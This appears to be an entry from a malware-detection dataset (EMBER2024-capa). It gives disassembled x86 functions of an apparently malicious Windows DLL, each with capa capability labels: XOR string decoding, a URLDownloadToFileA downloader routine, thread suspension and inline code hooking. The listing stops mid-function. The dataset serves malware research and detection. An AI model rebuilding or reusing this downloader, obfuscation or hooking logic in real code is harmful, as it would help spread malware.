joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000dd70
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.10023e30
add esp, 0xc
mov ecx, 0xcf
xor eax, eax
mov dl, byte [eax + 0x1004236c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x1000dda3
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.100206fd
add esp, 0xc
mov ecx, 0xce
xor eax, eax
mov dl, byte [eax + 0x10042390]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000dde3
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x1000de54
mov ecx, 0xc3
xor eax, eax
mov dl, byte [eax + 0x100423ac]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000de24
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x1000ded0
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.10023e30
add esp, 0xc
mov ecx, 0xa6
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + 0x100423c8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x1000de80
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.100206fd
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x1000dee0
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.10023e30
add esp, 0xc
mov ecx, 0xee
xor eax, eax
mov dl, byte [eax + 0x100423f8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x1000df13
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.100206fd
add esp, 0xc
mov ecx, 0xbb
xor eax, eax
mov dl, byte [eax + 0x1004241c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000df53
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x1000dfc4
mov ecx, 0x69
xor eax, eax
mov dl, byte [eax + 0x10042438]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000df94
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x1000e040
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.10023e30
add esp, 0xc
mov ecx, 0x4b
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + str.89_u]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x1000dff0
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.100206fd
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10013f00
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c757
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10048650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x10042fb8
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov edi, dword [edx + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.10001670
lea esi, [ebx + 4]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.10019010
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x10013f93
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.10001530
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov ecx, esi
call fcn.10016eb0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x10193d40]
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10015a80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bf18
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x10015ba1
cmp byte [edi + 0x49], bl
je 0x10015ba1
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x10015b95
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10015af5
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x10015b0d
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x10015b36
dec eax
je 0x10015b3a
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x10015b90
jmp 0x10015b9c
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x10015b4a
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x10015b73
cmp ebx, 0x10
jae 0x10015b59
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.100227e3
add esp, 0x10
cmp esi, eax
jne 0x10015b8d
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x10015b99
test esi, esi
jne 0x10015b01
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10014f10
jmp 0x10015afb
lea ecx, [ebp - 0x2c]
call fcn.10013250
xor al, al
jmp 0x10015ba3
lea ecx, [ebp - 0x2c]
call fcn.10013250
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10016eb0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bd9b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10048650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1001fb22
push 4
mov dword [ebp - 4], 0
call fcn.10022b51
mov edi, eax
add esp, 4
test edi, edi
je 0x10016f30
call fcn.1001f91d
mov dword [edi], eax
call fcn.1001f6dc
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.1001fae3
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10016f26
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.1001fb0b
jmp 0x10016f32
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001afd0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xdd
xor ecx, ecx
jmp 0x1001afe0
mov al, byte [edi + ecx - 0x6db8ad5e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001afe0
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001b2b0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x82
xor ecx, ecx
jmp 0x1001b2c0
mov al, byte [edi + ecx + 0x2e62e9b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x19
jb 0x1001b2c0
mov byte [esi + 0x19], 0
mov eax, esi
ret

Function at 0x1001b2e0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 9
xor ecx, ecx
jmp 0x1001b2f0
mov al, byte [edi + ecx - 0x7bd60ae8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x1001b2f0
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x1001b3e0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 6
xor ecx, ecx
jmp 0x1001b3f0
mov al, byte [edi + ecx - 0x58ac7a1c]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001b3f0
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001b410
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x34
xor ecx, ecx
jmp 0x1001b420
mov al, byte [edi + ecx + 0x32593faf]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001b420
mov byte [esi + 0xf], 0
mov eax, esi
ret
Function at 0x1001b440
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x15
xor ecx, ecx
jmp 0x1001b450
mov al, byte [edi + ecx + 0x43f2140e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001b450
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001b6d0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xd9
xor ecx, ecx
jmp 0x1001b6e0
mov al, byte [edi + ecx - 0x1a2e1036]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xd
jb 0x1001b6e0
mov byte [esi + 0xd], 0
mov eax, esi
ret

Function at 0x1001b700
Capabilities:
Encode data using xor

Disassembly:
mov edx, 1
xor ecx, ecx
jmp 0x1001b710
mov al, byte [edi + ecx + 0x3ed419b4]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xb
jb 0x1001b710
mov byte [esi + 0xb], 0
mov eax, esi
ret

Function at 0x1001b7c0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xe8
xor ecx, ecx
jmp 0x1001b7d0
mov al, byte [edi + ecx + 0x3566316e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x2a
jb 0x1001b7d0
mov byte [esi + 0x2a], 0
mov eax, esi
ret

Function at 0x1001b860
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x2d
xor ecx, ecx
jmp 0x1001b870
mov al, byte [edi + ecx - 0x38853b09]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xe
jb 0x1001b870
mov byte [esi + 0xe], 0
mov eax, esi
ret

Function at 0x1001b9b0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x37
xor ecx, ecx
jmp 0x1001b9c0
mov al, byte [edi + ecx - 0x2487a35d]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x2c
jb 0x1001b9c0
mov byte [esi + 0x2c], 0
mov eax, esi
ret

Function at 0x1001bbc0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xab
xor ecx, ecx
jmp 0x1001bbd0
mov al, byte [edi + ecx - 0x7b84b047]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x12
jb 0x1001bbd0
mov byte [esi + 0x12], 0
mov eax, esi
ret

Function at 0x1001be20
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xef
xor ecx, ecx
jmp 0x1001be30
mov al, byte [edi + ecx - 0x20ea7df6]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x43
jb 0x1001be30
mov byte [esi + 0x43], 0
mov eax, esi
ret

Function at 0x1001be50
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x46
xor ecx, ecx
jmp 0x1001be60
mov al, byte [edi + ecx - 0x11021866]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1c
jb 0x1001be60
mov byte [esi + 0x1c], 0
mov eax, esi
ret

Function at 0x1001be80
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x59
xor ecx, ecx
jmp 0x1001be90
mov al, byte [edi + ecx - 0xe7a4c7f]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001be90
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001beb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xaa
xor ecx, ecx
jmp 0x1001bec0
mov al, byte [edi + ecx + 0x36b371d1]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x17
jb 0x1001bec0
mov byte [esi + 0x17], 0
mov eax, esi
ret
Function at 0x1001bee0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x54
xor ecx, ecx
jmp 0x1001bef0
mov al, byte [edi + ecx + 0x7b8009b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001bef0
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001bfa0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xcb
xor ecx, ecx
jmp 0x1001bfb0
mov al, byte [edi + ecx - 0x7bf33bc6]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001bfb0
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001bfd0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x56
xor ecx, ecx
jmp 0x1001bfe0
mov al, byte [edi + ecx - 0x11361258]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x26
jb 0x1001bfe0
mov byte [esi + 0x26], 0
mov eax, esi
ret

Function at 0x1001c000
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xbb
xor ecx, ecx
jmp 0x1001c010
mov al, byte [edi + ecx + 0x46e32c0f]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x21
jb 0x1001c010
mov byte [esi + 0x21], 0
mov eax, esi
ret

Function at 0x1001c030
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xa1
xor ecx, ecx
jmp 0x1001c040
mov al, byte [edi + ecx + 0x4349d7c]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x26
jb 0x1001c040
mov byte [esi + 0x26], 0
mov eax, esi
ret

Function at 0x1001c060
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xec
xor ecx, ecx
jmp 0x1001c070
mov al, byte [edi + ecx - 0x4c5d553]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x21
jb 0x1001c070
mov byte [esi + 0x21], 0
mov eax, esi
ret

Function at 0x1001c090
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xcc
xor ecx, ecx
jmp 0x1001c0a0
mov al, byte [edi + ecx + 0x37c834e8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x26
jb 0x1001c0a0
mov byte [esi + 0x26], 0
mov eax, esi
ret

Function at 0x1001c0c0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x73
xor ecx, ecx
jmp 0x1001c0d0
mov al, byte [edi + ecx - 0x3d0b1b3b]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x21
jb 0x1001c0d0
mov byte [esi + 0x21], 0
mov eax, esi
ret

Function at 0x1001c0f0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x2d
xor ecx, ecx
jmp 0x1001c100
mov al, byte [edi + ecx + 0x6e4e21d5]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x26
jb 0x1001c100
mov byte [esi + 0x26], 0
mov eax, esi
ret

Function at 0x1001c120
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xb3
xor ecx, ecx
jmp 0x1001c130
mov al, byte [edi + ecx - 0x2a2c2c47]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x21
jb 0x1001c130
mov byte [esi + 0x21], 0
mov eax, esi
ret

Function at 0x1001c150
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x3b
xor ecx, ecx
jmp 0x1001c160
mov al, byte [edi + ecx + 0x7d44f0ce]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x13
jb 0x1001c160
mov byte [esi + 0x13], 0
mov eax, esi
ret
Function at 0x1001c180
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x6d
xor ecx, ecx
jmp 0x1001c190
mov al, byte [edi + ecx + 0x7b48a0d4]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x1001c190
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x1001c350
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x1b
xor ecx, ecx
jmp 0x1001c360
mov al, byte [edi + ecx - 0x56714f1a]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1b
jb 0x1001c360
mov byte [esi + 0x1b], 0
mov eax, esi
ret

Function at 0x1001e000
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x10194f1c]
push esi
xor esi, esi
cmp eax, esi
je 0x1001e01b
lea esp, [esp]
cmp dword [eax + 4], esi
jne 0x1001e063
mov eax, dword [eax]
cmp eax, esi
jne 0x1001e010
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
je 0x1001e063
lea ecx, [eax + 0x20]
mov edx, ecx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
sub edx, eax
nop
mov esi, dword [eax + 4]
mov dword [ecx], esi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x1001e040
mov ecx, dword [0x10194f1c]
mov dword [eax], ecx
mov dword [0x10194f1c], eax
pop esi
ret
Function at 0x1001ea00
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1001eae4
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1001eadd
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [ebp - 0x20], 0x10
jb 0x1001eac2
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x1001eac2
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1001eac2
mov eax, dword [esi]
test eax, eax
jne 0x1001ea87
mov ecx, dword [0x10193894]
push 0x200
push eax
push ecx
mov dword [esi + 4], 0x80
call edi
mov dword [esi], eax
test eax, eax
je 0x1001eadc
jmp 0x1001eab4
mov ecx, dword [esi + 4]
cmp dword [esi + 8], ecx
jb 0x1001eab4
lea edx, [ecx*8]
push edx
push eax
mov eax, dword [0x10193894]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1001eadc
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi + 4], ecx
mov dword [esi], eax
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x18]
mov dword [eax + edx*4], ecx
inc dword [esi + 8]
lea edx, [ebp - 0x20]
push edx
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1001ea47
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x1001eb00
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
call fcn.1001ea00
cmp dword [esi], ebx
je 0x1001eb5b
cmp dword [esi + 8], ebx
jbe 0x1001eb5b
push edi
mov eax, dword [esi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1001eb54
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edx
push edi
call fcn.1001e8a0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x1001eb20
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1001eb60
Capabilities:
Resume thread

Disassembly:
cmp dword [ebx], 0
je 0x1001ebad
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x1001eb9b
push esi
mov edi, edi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1001eb94
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebx + 8]
jb 0x1001eb70
pop esi
mov edx, dword [ebx]
mov eax, dword [0x10193894]
push edx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret
Function at 0x1001ebb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
imul esi, esi, 0x2c
add esi, dword [0x10194f10]
push edi
test byte [esi + 0x14], 1
mov edi, dword [esi]
mov ebx, 5
je 0x1001ebd6
sub edi, ebx
mov ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1001ebf4
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [edi], 0xe9
mov ecx, dword [esi + 4]
sub ecx, edi
sub ecx, 5
mov dword [edi + 1], ecx
test byte [esi + 0x14], 1
je 0x1001ec0f
mov eax, dword [esi]
mov word [eax], 0xf9eb
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001ec40
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x10194f18]
push esi
xor edx, edx
xor esi, esi
mov dword [ebp - 4], edx
test ecx, ecx
je 0x1001ed15
mov eax, dword [0x10194f10]
push ebx
add eax, 0x14
mov bl, 2
test byte [eax], bl
je 0x1001ec7b
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x1001ec67
pop ebx
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x1001ec73
push edi
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
call fcn.1001eb00
add esp, 8
cmp esi, dword [0x10194f18]
jae 0x1001ecc5
mov edi, esi
imul edi, edi, 0x2c
lea ecx, [ecx]
mov eax, dword [0x10194f10]
test byte [edi + eax + 0x14], bl
jne 0x1001ecb9
mov eax, esi
call fcn.1001ebb0
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001ecc5
inc esi
add edi, 0x2c
cmp esi, dword [0x10194f18]
jb 0x1001eca0
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1001ed0b
xor edi, edi
cmp dword [ebp - 8], edi
jbe 0x1001ecfb
mov ecx, dword [ebx + edi*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
